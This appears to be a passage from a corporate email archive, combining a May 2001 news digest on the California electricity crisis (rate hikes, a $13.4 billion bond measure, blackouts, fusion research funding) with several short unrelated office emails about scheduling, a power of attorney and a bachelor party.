WASHINGTON -- With California and the nation facing energy troubles, Rep. Z=
oe=20
Lofgren introduced bipartisan legislation Wednesday to accelerate research=
=20
into fusion power, a potential long-term solution that promises cheap,=20
environmentally friendly power if major scientific hurdles can be overcome.=
=20
Fusion is the way the sun and stars produce their energy. Unlike nuclear=20
power, which is a product of fission, or the splitting of atoms, fusion=20
produces energy by fusing atoms together -- with no high-level radioactive=
=20
waste. If it works, 50 cups of seawater could produce as much energy as two=
=20
tons of coal, advocates said.=20
Fusion energy has been proven possible in laboratories, but a power plant=
=20
using the technology is still decades away, experts said. The Department of=
=20
Energy is spending $248 million on fusion research this year, with the=20
Lawrence Livermore National Laboratory one of several facilities around the=
=20
country receiving funding.=20
Fusion research funds, however, have decreased about 40 percent in the past=
=20
decade, and Lofgren wants to reverse that. Her legislation, the Fusion Ener=
gy=20
Sciences Act of 2001, seeks an increase of $72 million over the next two=20
years. It would also require the energy secretary to submit a plan by July=
=20
2004 for the next major step in fusion energy, a burning-plasma experiment.=
=20
``It is time for this country to move beyond caveman technology to the=20
technology of the future -- fusion technology,'' said Lofgren, D-San Jose, =
as=20
she announced the legislation in front of the Capitol Hill Power Plant, whi=
ch=20
burns coal, oil and natural gas to power congressional offices. She was=20
joined by Reps. Mike Honda, D-San Jose, Randy Cunningham, R-Escondido, and=
=20
Rush Holt, D-N.J., a physicist. The bill also is co-sponsored by Reps. Elle=
n=20
Tauscher, D-Walnut Creek, and Barbara Lee, D-Oakland.=20
Fusion requires intense heat and pressure. Under the proper conditions, lik=
e=20
those inside the sun, the nuclei of two hydrogen atoms can be forced togeth=
er=20
so tightly that they fuse, forming a helium nucleus and releasing large=20
amounts of energy that could be harnessed for electricity.=20
The major source of fusion fuel is deuterium (heavy water), which is readil=
y=20
extracted from water. The other fuel source, tritium, is widely available=
=20
from seawater and land deposits.=20
Fusion is not to be confused with so-called ``cold fusion,'' a disputed=20
theory that few scientists believe is achievable. In 1989 two Utah scientis=
ts=20
reported cold-fusion success in the laboratory by immersing metal electrode=
s=20
in a jar of heavy water. Their results were later discredited, but some=20
scientists continue to experiment with cold fusion.=20
Although research on ``hot'' fusion has been moving forward, it still has=
=20
many scientific hurdles to overcome, said Robert Park, a physics professor =
at=20
the University of Maryland.=20
``We're still a long way away. Thirty years ago they used to say it would b=
e=20
30 years, and they're still saying the same thing,'' he said. ``We can fuse=
=20
atoms every day, but the trick is when you produce more energy than it take=
s=20
to get there.''=20
The head of one of the leading fusion research facilities in the country=20
agreed that it will probably be the middle of this century before a=20
functioning fusion power plant is operating, but he said the scientific=20
advances ``have really been fantastic.''=20
Robert Goldston, director of the Plasma Physics Laboratory at Princeton=20
University, said that as a graduate student there in 1974 he and other=20
researchers were thrilled to produce one-tenth of a watt of electricity for=
=20
one-hundredth of a second using fusion. In 1997, they produced 10 million=
=20
watts of electricity for about a second -- a degree of advance that outstri=
ps=20
the phenomenal increases in computing power.=20
``The trick now is to make fusion as practical as computers are,'' he said.=
=20
``It's a grand scientific challenge.''

Power is money=20
=20
hike.=20

JOHN MEE of Fullerton is focused at a PUC hearing Wednesday at Fullerton=20
College.
Photo: Daniel A. Anderson / The Register
?
?

Customers of Southern California Edison would see their electricity bills=
=20
jump as much as 34 percent under rate proposals unveiled Wednesday by the=
=20
state's top energy regulator.=20
The Public Utilities Commission designed two rate plans to encourage energy=
=20
conservation and repay the state of California for wholesale power purchase=
s.=20
Though many customers would pay higher rates, half of all residential=20
customers, or 4 million households, would not be subject to any rate increa=
se=20
at all. In January, the Legislature blocked rate hikes for customers who us=
e=20
relatively little electricity or have low incomes.=20
Loretta Lynch, president of the PUC, blamed "unbounded and exorbitant=20
wholesale electricity prices" for the proposed increases, which she disclos=
ed=20
at a news conference in San Francisco. "We all have to share the pain of=20
that," she said.=20
If either of the proposed plans is approved Monday by the commission, the=
=20
higher rates will appear on electricity bills beginning June 1.=20
The rate increase won't apply to customers of San Diego Gas & Electric or=
=20
Anaheim Public Utilities.=20
The burden of higher rates would fall primarily on the 2 million households=
=20
that consume the most electricity.=20
A household that pays $114 a month would, on average, pay $12 more. Bigger=
=20
users with monthly bills of $213 would pay an additional $73 - a 34 percent=
=20
increase.=20
The hikes would come on top of a 9 percent increase approved by the PUC in=
=20

Economic crisis in forecast=20
By ANNE C. MULKERN
Rolling blackouts this summer could cost California $26.4 billion in lost=
=20
production and income, a business report released Wednesday forecasts.=20
"This isn't an energy crisis, it's an economic crisis,'' said Nancy=20
Heffernan, spokeswoman for the group of retailers, manufacturers and other=
=20
business groups that funded the $25,000 study.=20
The report came as Orange County and California escaped a third consecutive=
=20
day of rolling blackouts. Energy demand fell when the weather cooled.=20
The report was released to coincide with a state Public Utilities Commissio=
n=20
announcement on higher electricity rates. The highest rate hikes - up to 50=
=20
percent - will hit industrial customers.=20
Although economists previously have said the energy crisis is unlikely to=
=20
cause a recession, the report said blackouts could cut state productivity=
=20
growth from current projections of 2.3 percent to less than 1 percent.=20
If the energy crunch is more severe, economic growth could stop, the report=
=20
said.=20
The study, by New Jersey-based research AUS Consultants, is based on=20
interviews with 34 businesses in 25 different industries.=20
It assumes 110 hours of blackouts will darken businesses and homes this=20
summer and that the average customer will experience about 20 hours of=20
blackouts.=20
Based on the state's so-far limited experience with rolling blackouts, that=
=20
prediction may be overly severe.=20
The report assumes statewide blackouts, but not every customer is blacked o=
ut=20
during any given outage. On March 19, for example, when the most severe=20
blackouts so far hit the state, only 14 percent of Orange County was affect=
ed.

GOP stalls sale of bonds with vote=20
The $13.4 billion measure is approved, but it lacks two-thirds support for=
=20
immediate implementation.=20
By JOHN HOWARD
For Gov. Gray Davis, the bond sale and the new state budget for the 2001-02=
=20
fiscal year beginning July 1 were linked.=20
The governor had hoped to win Republican support for the bonds, and thus a=
=20
two-thirds majority in both houses, which would have allowed the legislatio=
n=20
to take effect immediately and the bonds to be marketed as early as this=20
month.=20
But Republican opposition meant the legislation was approved by only a simp=
le=20
majority, forcing a 90-day wait.=20
"We think we're probably biting off more financing than we can chew," said=
=20
Jaime Fis Fis, spokesman for Assembly Republican Leader Dave Cox.=20
That means the bond-sale proceeds won't be contained in the state's spendin=
g=20
plan until weeks after the new fiscal year begins, and if the market sours=
=20
for such a large bond issue the state could be affected.=20
"This greatly complicates the budget process," Davis said.=20
Earlier in the day, the Legislature's financial expert said a slowing econo=
my=20
was causing a drop in incoming revenue that could force some $3.4 billion i=
n=20
cuts from the plan Davis proposed in January.=20
The administration is going to announce its own view of the budget on Monda=
y,=20
but Davis signaled that the worsening economy would affect his spending pla=
n.=20
"I suspect it will have an impact," he said.=20
The sole Democratic dissenter in Wednesday's 23-15 Senate vote was Sen. Joe=
=20
Dunn, D-Santa Ana.=20
He did not address the bond bill on the Senate floor, but earlier said he=
=20
opposed the bond plan because it was not tied to aggressive action targetin=
g=20
profiteering power generators.=20

Electricity notebook=20
Davis asks power suppliers to accept 30% less than owed=20
From Register news services=20
SACRAMENTO Gov. Gray Davis asked generators to accept 30 percent less than=
=20
they are owed for electricity sold to the state, saying the discount is the=
=20
price of keeping Edison International solvent.=20
Davis said power suppliers must accept less than they are owed in order to=
=20
win legislative approval for a financial-rescue package designed to keep=20
Edison, owner of the state's No. 2 utility, Southern California Edison, out=
=20
of bankruptcy. PG&E Corp.'s Pacific Gas & Electric declared bankruptcy Apri=
l=20
6.=20
"I suggested that 70 percent now was better than anything they could get in=
=20
bankruptcy three to four years down the line," the governor said during a=
=20
press conference in Sacramento.=20
Davis made his pitch during a meeting with executives from 12 of the larges=
t=20
U.S. energy producers.=20
Air pollution rules to be modified for power plants=20
DIAMOND BAR Southern California air regulators are close to slashing their=
=20
market-based system for controlling power plant pollution, which for years=
=20
has allowed plant operators to avoid installing emission controls.=20
The move is designed to allow large power plants to operate at full capacit=
y=20
without facing stiff fines as they try to meet the demand for electricity.=
=20
The change was prompted by an executive order from Gov. Gray Davis requirin=
g=20
air districts to let large generators run at the greatest capacity.=20
Rules expected to be considered Friday by the South Coast Air Quality=20
Management District Governing Board would curtail a program known as RECLAI=
M,=20
which has allowed power plants to buy and sell unused emission "credits"=20
controlled by other polluters.=20
Edison, PG&E allege El Paso withheld natural gas supply=20
SAN FRANCISCO California's two largest utilities have filed testimony with=
=20
federal regulators alleging El Paso Corp. withheld natural gas from the=20
state, leading to an overcharge of some $3.7 billion in energy costs over t=
he=20
past year and worsening the state's power crisis.=20
"We believe El Paso has withheld significant amounts of natural gas from=20
California and manipulated gas prices to the tune of $3.7 billion. ... PG&E=
=20
also supports these findings," said Kevin Lipson, lead attorney for Edison=
=20
International unit Southern California Edison, the state's No. 2=20
investor-owned utility.=20
A spokesman for PG&E Corp. unit Pacific Gas & Electric, the state's No. 1=
=20
utility, confirmed Wednesday that it made a filing late Tuesday with federa=
l=20
energy regulators alleging that El Paso Corp. "clearly possessed the abilit=
y=20
and incentive to raise (gas) prices."=20
Natural-gas prices in California, the highest in the U.S. over the past yea=
r,=20
have been a key reason for the surge in power prices in the state because=
=20
gas-fired turbines are the single biggest source of electricity in=20
California, providing more than a third of the power used by the state's 34=
=20
million residents.=20

Regulator says more electricity rate hikes are likely=20
PUC member tells a Fullerton audience that more increases may be necessary.=
=20

FULLERTON COLLEGE economics professor Arienne Turner brought students to=20
Wednesday's PUC hearing on power-rate increases.
?
?

A California energy official said consumers can expect more electricity rat=
e=20
increases beyond the proposals unveiled Wednesday.=20
Carl Wood, one of five commissioners on the state's Public Utilities=20
Commission, said at a public hearing at Fullerton College on Wednesday that=
=20
raising electricity rates was a "hateful choice," but one the commission ma=
y=20
have to revisit.=20
"This may not be the end of the rate increases," Wood told about 250 people=
=20
at the hearing, one of nine held by the PUC throughout California this week=
.=20
The hearings were scheduled to allow consumers a voice on how the rate=20
increase should be divvied up among different classes of customers.=20
PUC President Loretta Lynch unveiled two rate proposals Wednesday. Under=20
those plans, rate increases of as much as 34 percent would show up on the=
=20
bills of customers of Southern California Edison and Pacific Gas & Electric=
=20
starting in June. The increases would be retroactive to March 27.=20
Consumers expressed anger and frustration at the hearing in Fullerton befor=
e=20
Wood and Administrative Law Judge Michael Galvin.=20
"Consumers did not create this mess, and we should not have to pay for it,"=
=20
said Ruth Shapin, a Santa Ana lawyer.=20
Darrell Nolta, a systems engineer in Westminster, held up copies of the 199=
6=20
law that deregulated the electricity industry, which promised consumers a 2=
0=20
percent reduction in retail electricity rates by 2002.=20
"I want a refund of my money," Nolta said, referring to the roughly $19=20
billion in so-called "stranded costs" that the state's three largest=20
utilities have collected in the past four years and transferred, in part, t=
o=20
their parent corporations. "I want to be able to sue the state of Californi=
a=20
and the PUC for this."=20
The money transfers and salaries paid to executives at Edison and PG&E were=
=20
the subject of most of the consumer vitriol.=20
The PUC is investigating the utilities' connections with their parent=20
companies. The utilities say their actions have been legal.=20
Tom Martin, a representative of the Small Manufacturers Association of=20
California, said the rate increases will cripple the state's economy.=20
"Some people believe businesses can just raise prices to make up the=20
difference," he said. "But they cannot."=20
Under the proposals released Wednesday, nearly half of all consumers would=
=20
pay no rate increase. The 2 million heaviest residential users would pay 10=
=20
percent to 34 percent more, or an extra $12 to $73 a month. The 2 million=
=20
households that are medium users would pay just $2 more a month, a 3 percen=
t=20
Small and medium-sized businesses, which pay lower rates than consumers, ca=
n=20
expect a 35 percent increase, while farmers will pay 23 percent more.=20
Industrial users face a 50 percent rate hike.=20
The rates would be partly used to pay back up to $13.4 billion in bonds the=
=20
state Senate approved Wednesday to recover state expenditures on power sinc=
e=20
January and future purchases. In just four months, the state has spent abou=
t=20
$6 billion buying power for Edison, PG&E and San Diego Gas & Electric Co.=
=20
customers. Lynch, the PUC president, said the rate proposals would raise $5=
=20
billion statewide this year.=20
Under deregulation, consumers' rates were frozen at artificially high level=
s=20
to allow the utilities to collect "stranded costs," mostly investments in=
=20
nuclear power plants and contracts with small energy producers. The utiliti=
es=20
thought those investments would be unprofitable in a deregulated environmen=
t.=20
Starting a year ago, when wholesale electricity prices rose above the level=
=20
of frozen retail rates, the utilities were stuck with losses on their power=
=20
purchases. The losses amounted to more than $14billion for Edison and PG&E=
=20
through January.=20
"Most of the money in this crisis went to the power cartel," said Wood,=20
referring to private power generators that purchased power plants from Edis=
on=20
and PG&E under deregulation. "In the long run, we have to move back to a=20
regulated system because this is an essential commodity."=20
PG&E declared bankruptcy April 6, saying it could no longer shoulder its=20
debt.=20

Starting all over again=20
The Legislature's special sesion on the power crisis ends today -- with mor=
e=20
work to do at an added cost.=20
By HANH KIM QUACH
SACRAMENTO The state will have to restart a $3.2 million legislative proces=
s=20
after lawmakers today adjourn the special session devoted to fixing the=20
energy market.=20
The energy crisis is by no means solved, but because of the rules of the=20
Legislature, the special session must be gav eled to a close to ensure that=
=20
the $13.4 billion revenue bond bill passed by the Senate on Wednesday can b=
e=20
enacted 91 days after Gov. Gray Davis signs it.=20
But by abruptly ending the session, about 200 energy-related bills that=20
lawmakers have been hashing out will die, said Jon Waldie, chief consultant=
=20
for the Assembly Rules Committee.=20
Lawmakers would have to reintroduce them in a new special session with a ne=
w=20
bill number, he said. The non-partisan Legislative Analyst's Office estimat=
es=20
that it costs an average of $15,900 for each bill that moves through the=20
legislative process. That accounts for printing and staff hours.=20
Democrats are trying to make sure bills don't have to go through the troubl=
e=20
of being rescheduled for hearings and re-debated in committees, both=20
time-consuming efforts, said an aide for Assembly Speaker Bob Hertzberg.=20
But restarting the process has Republicans worried.=20
"It's going to delay the process,'' said Assemblyman Tony Strickland,=20
R-Ventura. "How can the process be delayed when people are going through=20
rolling blackouts?"=20
It's also more work for staff members who have spent countless hours drafti=
ng=20
ideas into legalese.=20
Bion Gregory, lead attorney for the Legislative Counsel's Office, said the=
=20
attorneys need to recreate bills each time they're amended to show how the=
=20
proposal would change from existing law.=20
"It's not a matter of taking language and reproducing it,'' he said.=20
The special session mechanism allows lawmakers to pass and enact bills more=
=20
quickly than in the regular session. In special session, bills that pass wi=
th=20
a simple majority vote take effect 90 days after the session adjourns, rath=
er=20
than the following Jan. 1, as with regular-session bills.=20
Bills passed with a two-thirds majority in special session can be enacted=
=20
immediately after the governor signs them. In regular session, such bills=
=20
don't become effective until 90 days after signed.=20
Having a second session on the same topic didn't concern Ron Roach of the=
=20
California Taxpayers Association as much. He said the second session might=
=20
even be more efficient because lawmakers will be more aware of each other's=
=20
bills and not introduce similar ones. In fact, the second time around might=
=20
streamline the process, he said.=20
In addition, some of bills that have been largely passed over as legislativ=
e=20
leaders search for more immediate fixes to the energy problem are probably=
=20
not going to make it far anyway.=20
"If they didn't get a hearing (and voted on by now) they never will - what'=
s=20
the point?'' Roach said.=20

Davis is set to sign a $13.4 billion bond-issue measure today to cover=20
electricity costs=20
SACRAMENTO Gov. Gray Davis is prepared to sign off on the biggest state loa=
n=20
in history today - a $13.4 billion bond sale to buy emergency electricity f=
or=20
California's beleaguered utilities and replenish a state treasury sapped by=
=20
The average residential utility ratepayer would pay $2.50 to $3 per month f=
or=20
up to 15 years to retire the debt. Some critics placed the figure at $10.55=
=20
per month for ratepayers of all sizes.=20
The Democrat-ruled state Senate, like the Assembly earlier in the week,=20
approved the bond-sale legislation along partisan lines Wednesday.=20
The bill authorizes the state to borrow up to $13.4 billion by selling=20
revenue bonds beginning in August. The money will be used to pay back the=
=20
state for more than $6 billion worth of electricity it has bought since=20
January on behalf of the utilities and to finance the purchase of new power=
=20
in long-term contracts.=20
Davis said he plans to use about $12.5 billion of the bond and keep the res=
t=20
in an emergency reserve.=20
Democratic supporters said the borrowing protected the state budget as=20
California faces an economic downturn and dwindling revenue, and protected=
=20
potentially threatened programs. Republican critics said the bonds would=20
burden ratepayers for years.=20
"If we don't pass this bill today, we're going to have to wipe out programs=
,"=20
said Sen. Tom Torlakson, D-Antioch, although he did not say which programs=
=20
could be affected.=20
But Republicans in both houses said the bonds were too high, and urged the=
=20
governor and legislative leaders to strike a compromise.=20

Papering over state electricity problems=20
Crisis management and recovery plans are the way to solve a crisis, not=20
piecemeal programs and gimmicks. But even as new blackouts roll across the=
=20
state, piecemeal is about all we're getting in the way of solutions from Go=
v.=20
Gray Davis and the California Legislature.=20
The latest one came Monday when the Assembly voted for a $13.4 billion=20
revenue bond to pay for this year's high electricity bills. (Revenue bonds=
=20
are paid by a service's users, in this case ratepayers.) The Senate is=20
expected to pass the bill, Senate Bill 31X, today or Thursday.=20
Because the two-thirds threshold was not met in the Assembly, the bonds cou=
ld=20
not be issued immediately, but instead will be issued in 90 days, in August=
.=20
In the 49-29 vote, only Republican Assemblyman Anthony Pescetti of Rancho=
=20
Cordova sided with the Democratic majority.
The bonds will repay the state general fund for electricity purchases which=
,=20
so far in the crisis, amount to at least $5 billion and will rise much high=
er=20
later this year. Bonds will be repaid over 15 years.=20
In a conference call Gov. Davis held with us and several other newspapers=
=20
Monday, he explained that he hoped for bipartisan support for the bonds=20
because the delay "would greatly complicate the budget process and could=20
damage the economy. It's my hope that both parties can be part of the=20
solution, not part of the problem. People elected us to be problem solvers.=
"
The Republicans' beliefs were summarized by Assemblyman Tony Strickland of=
=20
Thousand Oaks. "Let me tell you what our caucus' philosophy is," he told th=
e=20
San Diego Union-Tribune. "If you have money today, you don't borrow against=
=20
your children and grandchildren's future." The Republicans favor using the=
=20
state budget surplus to pay for the state electricity purchases.
Indeed, the bond sale will create more problems than it solves. "It's not=
=20
needed," Adrian Moore, director of economic studies at the Reason Public=20
Policy Institute, told us. "It helps cover up the costs of what Davis's=20
overall policies are bringing about. It just stretches it out so it's not=
=20
paid this budget cycle. Plus it adds interest [costs]."
What's really needed, Mr. Moore said, is to "get back to a market-based=20
solution." Retail prices to ratepayers, now capped, should be further freed=
.=20
Higher retail prices then would bring about more conservation and power pla=
nt=20
investment and, as less electricity is used, wholesale and retail prices=20
would moderate.=20
And, the governor and Legislature should stop attacking power producers wit=
h=20
threats of seizures and taxes, especially given the intermittant price caps=
=20
instituted by federal energy regulators. Leaders should instead encourage=
=20
producers to build here.
The longer California's leaders paper over the dimensions of the crisis, th=
e=20
longer it will persist and the more expensive it will become.=20

Task Force To Propose Legislation

By SCOTT LINDLAW
WASHINGTON (AP) via NewsEdge Corporation  -
President Bush's energy task force plans to
propose legislation allowing the seizure of private property to
accelerate the construction of electrical power lines, three
administration officials said Tuesday.

The recommendation is contained in the final draft of a broad
energy blueprint to be unveiled by President Bush next week, the
officials said. The ``eminent domain'' authority allows the
government to appropriate private property for public use; the
property owners are usually compensated.

The Federal Energy Regulatory Commission already has eminent
domain authority over the siting of natural gas pipelines, but has
no such power over long-distance electricity transmission lines.
The lack of authority often requires electrical companies to get
approval from several states and numerous local jurisdictions.

Federal authority to locate transmission lines would quicken the
approval process, supporters of the provision contend. The shortage
of transmission lines has been cited by officials as one reason for
bottlenecks in the electric grids and a shortage of power in areas
of high demand.

New lines also are needed to connect new power plants to the
grid.

Vice President Dick Cheney said on CNN Tuesday that the energy
task force he heads will include a recommendation on eminent domain
for power lines.

``The issue is whether or not we should have the same authority
on electrical transmission lines'' as the government has on gas
lines, Cheney said. ``That's never been granted previously.''

He did not say what the recommendation would be.

But the administration officials, speaking on condition of
anonymity, said the report would ask Energy Secretary Spencer
Abraham to draw up legislation allowing utilities to obtain rights
of way for transmission lines, presumably through FERC.

The energy strategy report is going to the printers in stages
this week. Officials said there was no talk of taking out the
eminent domain provision, though they could not rule out that
remote possibility.

Utilities, not the government, would own the property, one
official said.

Earlier this year, a draft of a Republican energy bill in the
Senate had included giving FERC eminent domain authority for power
lines. But that provision later was deleted when it was introduced
by Sen. Frank Murkowski, R-Alaska.

The electric utility industry for some time has been lobbying
for a federal role in siting electric power lines, which now must
go through a maze of overlapping local jurisdictions and state
agencies for approval.

``If FERC has the eminent siting authority, that will help
facilitate siting of electric power transmission lines,'' said Jim
Owen, a spokesman for the Edison Electric Institute, which
represents investor-owned utilities.

It especially would help in getting interstate transmission
rights of way approved, he said.

``But it's still not a silver bullet because ... it can still be
a cumbersome process,'' said Owen. Some natural gas pipeline cases
before FERC have taken years to resolve, he said.

Critics have questioned whether Cheney's task force will
emphasize power production and transmission over conservation.

Cheney said the report would use tax breaks to encourage
conservation.

``Most of the financial incentives that we recommend in the
report go for conservation or renewables, for increased
efficiencies,'' Cheney said.

The task force will likely recommend tax incentives for purchase
of ``hybrid,'' ultra-efficient automobiles that run on gasoline and
electricity, one administration official said. A similar provision
was included in the budget Bush sent to Congress earlier this year.

The report will also call for a new tax credit for builders of
certain new power plants.

Cheney outlined the energy plan at the weekly Senate GOP
conference Tuesday.

According to one Republican who was present, the vice president
said that while he supported energy price controls when President
Nixon used them three decades ago, he wouldn't advocate them now.

Caps that are too high cause voters to blame politicians rather
than the utilities, Cheney said, according to the Republican.
Excessively low caps undermine the incentives for developing new
power sources, Cheney said.

After Cheney spoke, Sen. Gordon Smith, R-Ore., rebutted, saying
he came from a state where energy prices have risen enormously in
the past year, and he favors price caps.

Stage 2 Electrical Emergency Declaration; SCE to Curtail 'Load' for Some=20
Customers

ROSEMEAD, Calif., May 9 /PRNewswire/  via NewsEdge Corporation  -
The California Independent System
Operator (Cal-ISO) again declared a Stage 2 Emergency this afternoon, due t=
o
low power reserves and increased demand for power because of high
temperatures.  The agency called upon Southern California Edison and other
investor-owned utilities to begin voluntary "load" curtailment programs for
certain customers within their service areas.

Cal-ISO said the Stage 2 Emergency would be in effect from 11:45 a.m.
through midnight.  Cal-ISO and SCE are making urgent appeals for all custom=
ers
to immediately reduce their electricity consumption so that reserve levels =
do
not deteriorate further.

To achieve this load reduction during Stage 2, SCE is required to activate
its voluntary load curtailment program, under which large industrial,
commercial, and agricultural customers have agreed to temporarily curtail
electricity usage during an electrical emergency in exchange for reduced
rates.

Should the situation worsen for any reason, and power reserves drop below
1.5%, Cal-ISO could declare a Stage 3 Emergency, the most critical status.
Cal-ISO could direct utilities to "drop load," necessitating involuntary
rolling blackouts for groups of customers across their service areas until
sufficient reserve levels are achieved.

SCE customers are asked to reduce power consumption by turning off any
unneeded electrical appliances and lights, especially during the state's da=
ily
peak consumption period -- noon to 6 p.m.

Following are some effective ways customers can reduce their power use and
not be greatly inconvenienced:

LARGE ENERGY USERS

-- turn off all auxiliary or redundant machinery where possible;

-- consider shifting or staggering operations outside the hours of highest

electrical demand, typically noon to 6 p.m.;

AIR CONDITIONERS

-- set thermostats no lower than 78 degrees (F);

-- use electric fans instead of air conditioning if practical;

-- avoid using evaporative coolers or humidifiers at the same time an air

conditioner is running;

-- avoid cooling unoccupied rooms;

-- open windows during evening hours to take advantage of cool breezes;

APPLIANCES AND TOOLS

-- delay until evening hours the optional use of appliances (dishwashers,

clothes washers and dryers), chargers, power tools, and electrical

equipment;

REFRIGERATORS AND FREEZERS

-- avoid unnecessarily opening refrigerators;

-- keep your refrigerator or freezer set at the proper temperature;

-- be sure to use the "power-saver" switch if your refrigerator has one;

-- keep the condenser coils behind or beneath your refrigerator/freezer

clean (refrigerators represent approximately 25% of the electric bill

for a typical residence);

ADDITIONAL TIPS

-- run swimming pool equipment during early morning and evening hours;

-- limit the reopening of a refrigerator, which is a major user of

electricity in most homes;

-- use drapes and blinds to keep out direct sunlight;

-- replace incandescent light bulbs with ENERGY Star(R) qualified compact

fluorescent bulbs;

-- always wash a full load of clothes or use the variable water level

adjustment for smaller loads; and

-- be sure your home has adequate insulation.

For more information about electricity conservation and SCE's energy
efficiency programs, go to www.sce.com.

An Edison International (NYSE: EIX) company, Southern California Edison is
one of the nation's largest electric utilities, serving a population of mor=
e
than 11 million via 4.3 million customer accounts in a 50,000-square-mile
service area within central, coastal and Southern California.

SOURCE  Southern California Edison

CONTACT:  Corporate Communications of Southern California Edison,
626-302-2255
Web site:  http://www.edisonnews.com
Web site:  http://www.sce.com
(EIX)

B] FULL/ Pacific Gas & Electric restores all Qualifying Facilities --Pacifi=
c=20
Gas & Electric
says 8 of 300 QFs still shut down=20

New York, May 9 (BridgeNews) - Pacific Gas & Electric Co. restored nearly a=
ll=20
of the Qualifying Facilities that had been shut down earlier in the year du=
e=20
to financial reasons. The company now has only eight of the more than 300=
=20
Qualifying Facilities under contract to it still shut down for=20
payment-related reasons.=20
--Adrian Viegas, BridgeNews=20

*                 *                    *

The following is the text of today's announcement, with emphasis added by=
=20
BridgeNews. BridgeStation users will find links to company data at the end:=
=20
Most of PG&E's Qualifying Facilities are Back On Line; Only 3% Still Shut=
=20
Down for Payment-Related Reasons=20
SAN FRANCISCO----May 9, 2001--PACIFIC GAS AND ELECTRIC COMPANY ANNOUNCED=20
TODAY THAT NEARLY ALL OF THE QUALIFYING FACILITIES (QFS) THAT HAD SHUT DOWN=
=20
EARLIER THIS YEAR FOR FINANCIAL REASONS HAVE RETURNED TO SERVICE, AND ARE=
=20
AGAIN GENERATING POWER FOR PG&E'S ELECTRIC CUSTOMERS.=20
ONLY EIGHT OF THE MORE THAN 300 QFS UNDER CONTRACT TO PG&E ARE STILL SHUT=
=20
DOWN FOR PAYMENT-RELATED REASONS. THESE EIGHT REMAINING GENERATORS TYPICALL=
Y=20
DELIVER ABOUT 109 MW OF POWER, OUT OF THE ROUGHLY 2,500 MW TOTAL TYPICALLY=
=20
DELIVERED BY ALL PG&E-CONTRACTED QF GENERATORS COMBINED. ALL EIGHT FACILITI=
ES=20
ARE GAS-FIRED GENERATORS.=20
"We remain optimistic that these last few generators will come back on line=
=20
in the next few days, and we are working with them to help make that happen=
,"=20
said Gordon R. Smith, president and CEO of Pacific Gas and Electric Company=
.=20
"Ironically, our Chapter 11 filing has provided additional financial=20
certainty to many QFs, since we are now able to pay them in full for power=
=20
they are delivering, and since rates currently cover their costs. We will=
=20
continue to work with the QF producers to assure that all of the power they=
=20
are supposed to deliver will be available for our customers."=20
The QFs under contract to Pacific Gas and Electric Company have been paid i=
n=20
full since early April, and received partial payments for prior deliveries.=
=20
In addition to the facilities shut down for nonpayment, another 13 faciliti=
es=20
that would ordinarily be delivering an average of 82 mw are out for schedul=
ed=20
maintenance or unplanned outages. This amount is fairly typical and not=20
unusual for this time of year.=20
For energy saving tips, please visit our website at www.pge.com/123 or=20
contact the Smarter Energy Line at 1-800-933-9555.=20
CONTACT: Pacific Gas and Electric Company=20

News Department, 415/973-5930

End=20

Well, Ben's POA is executed, it is just a matter of getting some of the poa's 
for the subs worked out.  Come see me whenever you want.

	From:  Kathleen Carnahan                           03/28/2001 03:39 PM
	
cc:  

Subject: Ben's Power of Attorney

Just wanted you to know that Ann Elizabeth is freaking out about Ben's POA 
not being executed yet and I think she is going to talk to you about it.  I 
told her that you and I were working on it but that it just kind of got 
pushed down in the priority.  I personally do not think it is a big deal (but 
she sure does).

Also, since Matt is taking Deb Korkmas' place I am going to give him a list 
of companies and people we want to be listed as officers.  I'll send you, 
Carlos and Ann Elizabeth a draft list soon so we can decide who we want (may 
be like the officers listed on Merchant Ventures)

K-

Michael,

What about tomorrow, April 4?

Vince

Michael J Popkin@ENRON_DEVELOPMENT
03/22/2000 09:55 AM
cc:  
Subject: Lunch?

Hi Vince,

Hope everything is going well.  I am now back in Houston permanently and 
would like to get together for lunch one of these days.    Are you free early 
next week or sometime during the first week of April?  If not, please feel 
free to suggest another time.

Look forward to seeing you,

Michael

Start Date: 4/23/01; HourAhead hour: 2;  HourAhead schedule download failed. 

So who all is coming and isn't?  I know Jeff can't make it. 

From: Jason Bass 
Sent: Thursday, January 03, 2002 4:18 PM 
To: 'Bass, Eric' 
Subject: RE: Bachelor Party 

That sounds like fun.  The date of the party is January 19, 2002.  

Invites 

Dad 

Scott 
smacfarland@gpch.org 

Jeff Scott 
jayandem@earthlink.net 

Brian Lisenby 
I will get that one 

Ramiro Castano 
lqcolombo@aol.com 

Tom Fielder 
tommybomb88@hotmail.com 

Billy Brown 
Billy.Brown2@COMPAQ.com 

I think that is all.  I will finalize in the next couple of days. 

Would you please send me your address? 

Thanks, 

Jason 

From: Bass, Eric [<mailto:Eric.Bass@ENRON.com>] 
Sent: Thursday, January 03, 2002 3:35 PM 
To: jbass@stdauto.com 
Subject: Bachelor Party 

<http://www.txtreasure.com/> 
  
what do you think about this. 
  
and you still need to send me a list of invitees (with e-mail)   and the date of the party. 
  
-e 

http://www.gruene.net/gruenemansion/

http://www.guadaluperiverranch.com/

I love to look up this stuff...

Kay

PS It was great seeing you guys last week.  

Dan,

The attached document incorporates Joan's and Teresa's comments.  Please 
ensure that the ENFOIL contract reflects the commercial points in the 
diagram.  If you have any  question please ask, Joan, Teresa or me.  Thx, 
Jesus

Teresa G Bushman@ECT
12/20/2000 10:56 AM
To: Jesus Melendrez/Corp/Enron@Enron, Joan Quick/HOU/ECT@ECT, Brian 
Otis/NA/Enron@Enron, Tim Proffitt/HOU/ECT@ECT
cc:  

Subject: Physical contract diagram

This is revised to I think clarify a bit.

Teresa G. Bushman
1400 Smith Street, EB 3835A
(713) 853-7895
fax (713) 646-3393
teresa.g.bushman@enron.com

Hello.  Please stop by my desk when you get a chance.

Thanks,
3210C
x37031

Thanks, I have what i need.  I'm working on a project with McKinsey regarding 
the accleration of new businesses, so I wanted to look at some examples of 
employee-driven business creation.

	Sarah Palmer@ECT
	11/20/2000 04:11 PM
		 
		 cc: 
		 Subject: ThinkBank - Idea Vault

Steve, I just wanted to assure that you had everything you needed from the 
Idea Vault.  Let me know if you need more print outs of the ideas as several 
more have been entered in the past few days.  One thing I did forget to ask 
you -- what were the print outs for?!  I need to enter it into my usage 
statistics/measurements file.

Sarah.

Steve,
Attached is a list of the Hub Deals we have currently in the system.  I tried 
to reconcile them to the sheet you sent me but could not.  Please take a look 
at these and give me a call.  Thanks.

DG

Steve Richman@ENRON
09/06/2000 03:45 PM
cc:  
Subject: Park and Loan sheet 2nd try

---------------------- Forwarded by Steve Richman/Corp/Enron on 09/06/2000 

Steve Richman
09/06/2000 03:41 PM
